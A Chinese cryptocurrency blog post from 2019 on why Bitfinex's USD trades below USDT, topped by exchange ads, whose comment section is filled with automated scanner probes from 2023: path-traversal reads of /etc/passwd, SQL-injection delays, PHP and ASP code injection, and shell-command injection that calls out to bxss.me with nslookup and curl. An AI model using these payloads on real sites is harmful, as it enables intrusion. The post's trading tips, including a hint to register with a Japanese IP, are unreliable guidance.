Bitfinex交易所上″真美元″USD为何比假美元USDT还便宜很多？
BitMEX 100倍杠杆永续合约，注册BitMex请使用日本IP：比特币量化交易交流群：191896494 
JEX 全球领先的期权交易所
bitfinex一直以来都是麻烦不断，如2016年黑客攻击窃取了bitfinex大约价值6500万美元的比特币，2018年10月即传出USDT空气币，并没有美元支撑，导致USDT大幅跳水，近期bitfinex又被美国方面冻结了8.5亿美元，导致USDT出现8.5亿美元的缺口，此次冻结实践并未引起USDT的大幅贬值，反而导致了bitfinex上USD的大幅贬值，笔者分析了这其中的主要逻辑：虽然USD交易对在bitfinex上号称是真美元，然而并不能提现，且近期冻结的8.5亿美元导致bitfinex存在无法兑现USD的风险，即bitfinex上的USD可能仅是一个符号而已，因此持有USD玩家必然将USD买入BTC从而推高了USD的价格，而一直在风口浪尖的USDT反而价格比USD还贵呢？这可能需要从全市场来分析了，USDT虽然是一个中心化的数字货币，但是与美元1:1的兑换已经深入人心，大部分交易所都有USDT的交易对，目前虽然bitfinex可能暴雷，但实际并不是所有人都知道该消息，因此除了bitfinex上玩家之外的其他交易者还是按照1:1的价值给USDT定价，当然如果bitfinex确实出现问题，那么USDT崩盘也是不可避免的，因此建议投资者还是选在非USDT交易对避险为好。总之一句话，bitfinex上的USD无法流通，如果暴雷必然一文不值，USDT是全市场流通，或许还有一点炒作价值。
admin 2019-5-2
ZMskyuza
2023-10-3 3:19:29
/../../../../../../../../../../windows/system32/BITSADMIN.exe
ZMskyuza
2023-10-3 3:19:40
response.write(9082153*9004108)
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2023-10-3 3:19:47
'+response.write(9082153*9004108)+'
ZMskyuza
2023-10-3 3:19:55
bcc:009247.40789-37728.40789.cd2b2.19632.2@bxss.me
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2023-10-3 3:19:55
12345'"\'\");|]* {
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2023-10-3 3:20:04
"+response.write(9082153*9004108)+"
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2023-10-3 3:20:06
../../../../../../../../../../../../../../etc/passwd
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2023-10-3 3:20:07
to@example.com>
bcc:009247.40789-37729.40789.cd2b2.19632.2@bxss.me
ZMskyuza
2023-10-3 3:20:09
../../../../../../../../../../../../../../windows/win.ini
ZMskyuza
2023-10-3 3:20:14
'.gethostbyname(lc('hitan'.'hlkyqblrd0093.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(66).chr(100).chr(82).'
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2023-10-3 3:20:15
!(()&&!|*|*|
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2023-10-3 3:20:16
file:///etc/passwd
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2023-10-3 3:20:17
".gethostbyname(lc("hitwu"."nzmjcjdi1088d.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(76).chr(105).chr(73)."
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2023-10-3 3:20:19
^(#$!@#$)(()))******
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2023-10-3 3:20:22
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2023-10-3 3:20:23
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2023-10-3 3:20:25
../
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2023-10-3 3:20:28
"+"A".concat(70-3).concat(22*4).concat(121).concat(71).concat(105).concat(87)+(require"socket"
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2023-10-3 3:20:30
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2023-10-3 3:20:30
'+'A'.concat(70-3).concat(22*4).concat(111).concat(79).concat(108).concat(68)+(require'socket'
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2023-10-3 3:20:31
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
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2023-10-3 3:20:34
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2023-10-3 3:20:38
$(nslookup -q=cname hitrcifznlqbu41147.bxss.me||curl hitrcifznlqbu41147.bxss.me)
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2023-10-3 3:20:39
220
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2023-10-3 3:20:39
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
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2023-10-3 3:20:40
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2023-10-3 3:20:42
Http://bxss.me/t/fit.txt
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2023-10-3 3:20:43
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2023-10-3 3:20:43
220
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2023-10-3 3:20:44
http://bxss.me/t/fit.txt?.jpg
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2023-10-3 3:20:47
220/.
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2023-10-3 3:20:47
';print(md5(31337));$a='
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2023-10-3 3:20:48
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2023-10-3 3:20:49
";print(md5(31337));$a="
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2023-10-3 3:20:50
/etc/shells
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2023-10-3 3:20:50
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2023-10-3 3:20:52
c:/windows/win.ini
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2023-10-3 3:20:53
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2023-10-3 3:20:55
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2023-10-3 3:20:57
${@print(md5(31337))}\
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2023-10-3 3:20:57
bxss.me
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2023-10-3 3:20:59
'"()
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2023-10-3 3:21:00
'.print(md5(31337)).'
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2023-10-3 3:21:01
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2023-10-3 3:21:03
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2023-10-3 3:21:05
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2023-10-3 3:21:06
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2023-10-3 3:45:06
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2023-10-3 3:45:23
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2023-10-3 3:45:26
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2023-10-3 3:45:28
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2023-10-3 3:45:39
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2023-10-3 3:46:57
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2023-10-3 3:49:18
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2023-10-3 3:51:31
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2023-10-3 3:54:06
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2023-10-3 3:56:20
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2023-10-3 3:58:47
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2023-10-3 4:01:46
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2023-10-3 4:05:00
1 waitfor delay '0:0:15' --
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2023-10-3 4:08:03
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2023-10-3 4:10:54
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2023-10-3 4:13:40
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2023-10-3 4:16:24
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2023-10-3 4:18:19
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2023-10-3 4:20:04
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2023-10-3 4:21:41
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2023-10-3 4:23:17
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2023-10-3 4:24:45
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2023-10-3 4:26:14
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
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2023-10-3 4:27:45
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
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2023-10-3 4:28:00
1'"
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2023-10-3 4:28:02
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2023-10-3 4:28:05
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2023-10-19 14:15:20
response.write(9182984*9721195)
tGhYxqFm
2023-10-19 14:15:22
/../../../../../../../../../../windows/system32/BITSADMIN.exe
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2023-10-19 14:15:23
'+response.write(9182984*9721195)+'
tGhYxqFm
2023-10-19 14:15:25
"+response.write(9182984*9721195)+"
tGhYxqFm
2023-10-19 14:15:25
bcc:009247.160276-35112.160276.4d8b5.19649.2@bxss.me
tGhYxqFm
2023-10-19 14:15:26
to@example.com>
bcc:009247.160276-35113.160276.4d8b5.19649.2@bxss.me
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2023-10-19 14:15:28
${9999559+9999951}
tGhYxqFm
2023-10-19 14:15:28
12345'"\'\");|]* {
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tGhYxqFm
2023-10-19 14:15:29
../../../../../../../../../../../../../../etc/passwd
tGhYxqFm
2023-10-19 14:15:29
echo fcssnm$()\ qwdwya\nz^xyu||a #' &echo fcssnm$()\ qwdwya\nz^xyu||a #|" &echo fcssnm$()\ qwdwya\nz^xyu||a #
tGhYxqFm
2023-10-19 14:15:30
../../../../../../../../../../../../../../windows/win.ini
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2023-10-19 14:15:32
file:///etc/passwd
tGhYxqFm
2023-10-19 14:15:34
&echo bhqtpu$()\ oirwkw\nz^xyu||a #' &echo bhqtpu$()\ oirwkw\nz^xyu||a #|" &echo bhqtpu$()\ oirwkw\nz^xyu||a #
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2023-10-19 14:15:35
!(()&&!|*|*|
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2023-10-19 14:15:35
|echo vckzgt$()\ djabir\nz^xyu||a #' |echo vckzgt$()\ djabir\nz^xyu||a #|" |echo vckzgt$()\ djabir\nz^xyu||a #
tGhYxqFm
2023-10-19 14:15:35
../
tGhYxqFm
2023-10-19 14:15:36
^(#$!@#$)(()))******
tGhYxqFm
2023-10-19 14:15:36
(nslookup -q=cname hitykqkwdibjo1c716.bxss.me||curl hitykqkwdibjo1c716.bxss.me))
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2023-10-19 14:15:37
ctime
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2023-10-19 14:15:38
'.gethostbyname(lc('hitbr'.'kvsypsqh42cd7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(80).chr(117).chr(71).'
tGhYxqFm
2023-10-19 14:15:39
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
tGhYxqFm
2023-10-19 14:15:40
".gethostbyname(lc("hitph"."zjiwfidl45390.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(83).chr(119).chr(72)."
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2023-10-19 14:15:40
$(nslookup -q=cname hitkannlugmvhf6241.bxss.me||curl hitkannlugmvhf6241.bxss.me)
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2023-10-19 14:15:41
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
tGhYxqFm
2023-10-19 14:15:41
&nslookup -q=cname hitewminyihaabfd24.bxss.me&'\"`0&nslookup -q=cname hitewminyihaabfd24.bxss.me&`'
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2023-10-19 14:15:43
HttP://bxss.me/t/xss.html?%00
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2023-10-19 14:15:43
Http://bxss.me/t/fit.txt
tGhYxqFm
2023-10-19 14:15:43
&(nslookup -q=cname hitgtprmqetyw990ea.bxss.me||curl hitgtprmqetyw990ea.bxss.me)&'\"`0&(nslookup -q=cname hitgtprmqetyw990ea.bxss.me||curl hitgtprmqetyw990ea.bxss.me)&`'
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2023-10-19 14:15:43
"+"A".concat(70-3).concat(22*4).concat(105).concat(89).concat(111).concat(87)+(require"socket"
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2023-10-19 14:15:45
bxss.me/t/xss.html?%00
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2023-10-19 14:15:45
http://bxss.me/t/fit.txt?.jpg
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2023-10-19 14:15:45
'+'A'.concat(70-3).concat(22*4).concat(108).concat(86).concat(99).concat(73)+(require'socket'
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2023-10-19 14:15:46
|(nslookup -q=cname hitlsgtexdoio37d3c.bxss.me||curl hitlsgtexdoio37d3c.bxss.me)
tGhYxqFm
2023-10-19 14:15:46
/etc/shells
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2023-10-19 14:15:48
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
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2023-10-19 14:15:48
c:/windows/win.ini
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2023-10-19 14:15:49
`(nslookup -q=cname hitrhlmynbhjyf18df.bxss.me||curl hitrhlmynbhjyf18df.bxss.me)`
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2023-10-19 14:15:51
';print(md5(31337));$a='
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2023-10-19 14:15:52
bxss.me
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2023-10-19 14:15:52
220
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2023-10-19 14:15:53
";print(md5(31337));$a="
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2023-10-19 14:15:53
220
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2023-10-19 14:15:56
'"()
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2023-10-19 14:15:56
220/.
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2023-10-19 14:15:56
${@print(md5(31337))}
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2023-10-19 14:15:57
'&&sleep(27*1000)*emeqpg&&'
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2023-10-19 14:16:00
${@print(md5(31337))}\
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2023-10-19 14:16:00
"&&sleep(27*1000)*qjguiv&&"
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2023-10-19 14:16:02
'||sleep(27*1000)*nqlyxh||'
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2023-10-19 14:16:03
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2023-10-19 14:16:04
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2023-10-19 14:32:11
KxBajcF4
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2023-10-19 14:32:15
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2023-10-19 14:32:18
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2023-10-19 14:32:20
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2023-10-19 14:32:24
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2023-10-19 14:33:11
if(now()=sysdate(),sleep(15),0)
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2023-10-19 14:34:15
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2023-10-19 14:35:04
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2023-10-19 14:35:52
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2023-10-19 14:36:35
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2023-10-19 14:37:16
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2023-10-19 14:37:59
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2023-10-19 14:38:48
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2023-10-19 14:39:31
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2023-10-19 14:40:21
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2023-10-19 14:41:13
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2023-10-19 14:42:02
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2023-10-19 14:43:03
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2023-10-19 14:44:15
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2023-10-19 14:45:25
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2023-10-19 14:46:37
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2023-10-19 14:48:03
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2023-10-19 14:49:05
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2023-10-19 14:50:12
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2023-10-19 14:50:16
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2023-10-19 14:50:22
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2023-10-19 14:50:30
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Remark：